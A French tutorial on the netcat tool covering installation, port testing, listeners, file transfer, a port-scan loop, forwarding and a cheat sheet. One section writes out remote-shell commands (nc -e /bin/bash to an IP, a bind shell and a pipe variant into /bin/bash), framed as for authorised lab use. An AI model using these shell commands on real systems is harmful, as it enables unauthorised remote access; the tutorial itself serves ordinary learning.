nc (Netcat) est souvent qualifié de "couteau suisse du réseau". Il permet d'ouvrir des connexions TCP/UDP, d'écouter sur des ports, de transferred des données, et même de créer des tunnels rapides. C'est un outil indispensable pour le diagnostic réseau, le transfère de fichiers, et les tests de connectivité.
# Debian/Ubuntu
sudo apt install netcat-openbsd
# CentOS/RHEL/Fedora
sudo dnf install nc
# Arch Linux
sudo pacman -S openbsd-netcatLa forme la plus élémentaire de nc : vérifier qu'un port est accessible sur un hôte distant.
# Tester si le port 80 est ouvert sur un serveur web
nc -zv example.com 80
# Tester plusieurs ports
nc -zv example.com 22 80 443
# Avec timeout de 5 secondes
nc -zv -w 5 example.com 80Les flags -z désactivent la connexion sortante (mode scan) et -v active le mode verbose.
# Se connecter au port 23 (telnet, même si le service n'existe plus)
nc -v server1 23
# Se connecter en UDP
nc -uv server1 53
# Envoyer du texte personnalisé
echo "GET / HTTP/1.1" | nc example.com 80
# Mode interactif
nc -v server1 4444# Écouter sur le port 4444
nc -l -p 4444
# Écouter sur un port et rendre le résultat lisible (mode verbose)
nc -lv -p 4444
# Écouter en UDP
nc -lu -p 4444
# Spécifier l'interface (toutes les interfaces = 0.0.0.0)
nc -l -p 4444 -s 0.0.0.0nc permet de transfèrer des fichiers entre deux machines sans outil supplémentaire.
# Machine réceptrice — ouvre le port et reçoit le fichier
nc -l -p 9000 > fichier-recu.txt
# Machine émettrice — envoie le fichier
nc -w 3 192.168.1.100 9000 < fichier-a-envoyer.txt# Récepteur — avec decrypt
nc -l -p 9000 | decrypter
# Émetteur — avec encrypt
encrypt | nc -w 3 192.168.1.100 9000# Récepteur
nc -l -p 9000 | tar xvf -
# Émetteur
tar cvf - /chemin/dossier | nc -w 3 192.168.1.100 9000# Machine A — démarre le chat
nc -l -p 5555
# Machine B — se connecte
nc 192.168.1.100 5555Tout texte tapé d'un côté apparaît de l'autre côté. Pour quitter, Ctrl+C.
# Scanner les ports 1 à 1000 sur une machine
for port in $(seq 1 1000); do
nc -zv -w 1 192.168.1.100 $port 2>&1 | grep -q succeeded && echo "Port $port OUVERT"
done
# Scan plus rapide avec nc
nc -zv -w 1 192.168.1.100 1-1000 2>&1 | grep -E 'succeeded|failed'Rediriger le trafic d'un port vers un autre hôte/port.
# redirecter le port 8080 vers example.com:80
mkfifo /tmp/proxy
nc -l -p 8080 < /tmp/proxy | nc example.com 80 > /tmp/proxy# Créer un tunnel simple (sans encryption — voir ssh pour tunnels sécurisés)
# Machine B écoute sur le port 2222 et transmet à machine C:22
nc -l -p 2222 -c "nc 192.168.1.200 22"nc permet aussi de créer un shell distant (equivaut à un reverse shell). À utiliser uniquement dans des environnements contrôlés et avec autorisation.
# reverse shell — machine cible vers attacker
nc -l -p 4444 -e /bin/bash
# connection sortante (depuis la cible)
nc -e /bin/bash 192.168.1.50 4444Note : toutes les versions de nc ne supportent pas le flag -e (c'est le cas d'openbsd-nc). Pour ces versions, utilisez un pipe :
# Alternative sans -e
nc -l -p 4444 | /bin/bash | nc 192.168.1.50 4444| Option | Description |
|---|---|
-l | Mode listener (serveur) |
-p port | Specifier le port |
-u | Mode UDP (par defaut TCP) |
-v | Mode verbose |
-w seconds | Timeout pour la connexion |
-z | Mode scan (pas de données envoyees) |
-n | Pas de resolution DNS |
-k | Rester en ecoute apres deconnexion |
-c command | Executer une commande apres connexion |
-e program | Executer un programme (si supporté) |
-s addr | Specifier l'adresse source |
Il existe deux versions principales de nc :
-c, -e, et autres options avancees.# Verifier la version
nc -h 2>&1 | head -5# Verifier que le port 443 de google.com est accessible
nc -zv -w 5 google.com 443# Terminal 1 (recepteur) — ecouter sur le port 9001
nc -l -p 9001 > mon-fichier.txt
# Terminal 2 (emetteur) — envoyer le fichier
nc -w 3 localhost 9001 < mon-fichier.txt# Sur la machine de destination
nc -l -p 9002 > backup.tar.gz
# Sur la machine source
tar czf - /home/user/documents | nc -w 2 192.168.1.50 9002# Verifier que SSH (port 22) est accessible sur localhost
nc -zv localhost 22nc en environnement lab ou avec autorisation pour les exercices reseau.-w (timeout) pour eviter que les connexions restent ouvertes indefiniment.nc avec tar, gzip, ou d'autres outils pour des transferts robustes.nc -zv host port = tester la connectivite vers un portnc -l -p port = ecouter sur un portnc host port = se connecter en clientnc -l -p port > fichier + nc host port < fichier = transfert de fichiertar cf - | nc host port = transfert de repertoirenc -l -p port -k = rester en ecoute apres deconnexion-u = mode UDP, -w = timeout, -z = mode scan